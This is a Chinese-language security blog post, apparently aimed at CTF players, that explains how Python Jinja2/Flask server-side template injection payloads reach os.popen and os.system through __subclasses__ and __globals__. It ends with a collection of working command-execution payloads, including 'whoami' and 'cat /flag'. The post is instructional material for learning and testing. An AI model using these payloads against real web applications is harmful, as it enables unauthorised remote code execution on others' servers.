freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

pythonweb SSTI的payload构造思路研究
may1as 2022-07-24 12:37:44 191111
所属地 河南省

文前漫谈

接触到pythonweb SSTI也有一段时间了,给我的感觉就是原理也容易理解,但是在利用上总有些难度。(不能够灵活运用),想来想去还是原理不太清楚,借着这篇文章,从初学者的角度,从原理的方向研究一下payload的构造。


从原点出发

你会发现,大多数payload总是从下面这段代码出发,延伸出各种各样的花样。而这一步的目的是得到当前模块中所有可以利用的类。得到的结果跟当前模块(py文件)import的库也是有关系的。

''.__class__.__base__.__subclasses__()

详细解释:

  • '',是一个字符串对象,type('')的结果是<class 'str'>,在python中,一切皆对象,再比如type([])的结果是<class 'list'>,因为[]是数组的标志
  • __class__,是这个对象所属的类,到这一步,''.__class__的结果仍然是<class 'str'>''.__class__'',区别在于前者是个类,后者是个对象
  • __base__,是获得指定类的基类(父类),这里''.__class__.__base__的结果是<class 'object'>,因为在python3中,所有类都默认继承了Object类。
  • __subclasses__()__subclasses__()Object类的静态方法,获得指定类的所有子类,返回一个列表。因为是个方法,所以后面的括号不能忘了带。在这个列表里,拿到了当前模块所有继承Object类的子类,而在python3里,默认所有的类都继承了Object类,所以在下一步的构造中几乎所有的类我们都能找到并利用。


拿一个Payload研究

尝试直接在代码中(最好在flask环境下)

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read())

是不是成功执行"whoami"了。也有可能你那报错了。比如,这是因为你从''.__class__.__base__.__subclasses__()这一步拿到的列表,索引为128的对应的不是os._wrap_close类,因为从这一步我们没有进入os模块所在的地址空间,就不能通过__globals__得到os模块已经加载的可利用类

1658636426_62dcc88a08357598e9c46.png!small?1658636425964


在下面一段代码中进行调试仔细感受一下。

补充一下 __globals__


Python 中的每一个函数都拥有一个 __globals__ 属性,储存着当前模块全局可读的量。以一个字典的形式,建立了一种映射的关系。它必须由一个函数方法调用,即不论是test.__globals__,还是a.__globals__。只要是在一个模块(同一个py文件)内结果都是一样,因为打印的都是全局可读的量。


#payload = "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

a= ""
b= "".__class__
c= "".__class__.__base__
d= "".__class__.__base__.__subclasses__()
e= "".__class__.__base__.__subclasses__()[128]
f= "".__class__.__base__.__subclasses__()[128].__init__
g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__
h= "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami')
i= "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

print(a,b,c,d,e,f,g,h,i)

1658636957_62dcca9d0fee31d1ce6ed.png!small?1658636957295


按照上面的字母开始介绍吧。a到d在前面已经介绍过。这里从e开始。

  • e="".__class__.__base__.__subclasses__()[128]

e="".__class__.__base__.__subclasses__()[128]的结果是<class 'os._wrap_close'>,所以你应当了解,使用这个payload的时候,这个128是特殊的,它得跟随着os._wrap_close类的位置变化(从零开始数,第129个是os._wrap_close类),这个payload也正是利用的os._wrap_close这个类。到这一步,"".__class__.__base__.__subclasses__()[128]其实就相当于os._wrap_close这个类了。

  • f="".__class__.__base__.__subclasses__()[128].__init__
  • g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__

这一段的依据主要是前面的__globals__属性了,为什么要先调用__init__,因为__globals__必须依靠方法才能调用,打印全局可读的量。从上面的截图看,这一步就得到os模块全局可读的量了。注意是os模块,不是其他模块。从下面截图里的一些细节不能看出,比如'__name__': 'os',可以看见所处模块的名称。

1658637252_62dccbc4df78df971c339.png!small?1658637254279

分析一下这一步的结果。这一步得到是一个字典,像下面这样

'_unsetenv': <function <lambda> at 0x0000021A10612438>, 'getenv': <function getenv at 0x0000021A106129D8>

大概就是一种映射关系,函数名与所在地址空间的映射,你可以尝试用keys(),打印键试试


你看,可以利用的函数是太多了。这里我们利用的是'popen()'这个函数,但是只要是在上面的函数,都可以利用,system(),甚至一些os库的常见函数,都能进行调用。

举个例子,调用上面框出来的os这个库system()函数,甚至更加简单。一些读,写的操作都可以借助os这个库实现。也算是扩大了RCE的攻击面吧。


文末补充

前面说过''.__class__.__base__.__subclasses__()得到的继承Object类的子类的一个列表,数量与import的库有关。再谈谈吧

不导包的时候,或者只导python内置模块的时候。它的数量不会变化,导入一个外置包的时候,继承Object类的子类就变多了。好在这里不会影响到我们拿到的类的顺序,拿这个payload来说"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read(),如果第129(从零开始)个不是os._wrap_close类,那接下来的使用就会发生错误。你可以替换成129输出试试。

但是在有些题目环境中,重启环境可能会影响拿到类的顺序的。这也是你直接使用别人payload打不通的原因


payload收集

payload挺多的,但是原理大差不差,研究一下都能够理解,主要这部分的内容,对python的理解要求会有一点


{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

# os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# os._wrap_close类中的system
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('whoami')}}

# __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

# __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}


# CTF # 模板注入 # ctf web # CTF解题技能 # CTF知识
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 may1as 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
may1as LV.2
学习ing
  • 4 文章数
  • 4 关注者
伪协议php:input命令执行的原理
2023-04-07
面试经典 Redis未授权漏洞与组合拳
2022-11-08
CTF中我的USB键盘鼠标流量解密指南和脚本
2022-11-05
文章目录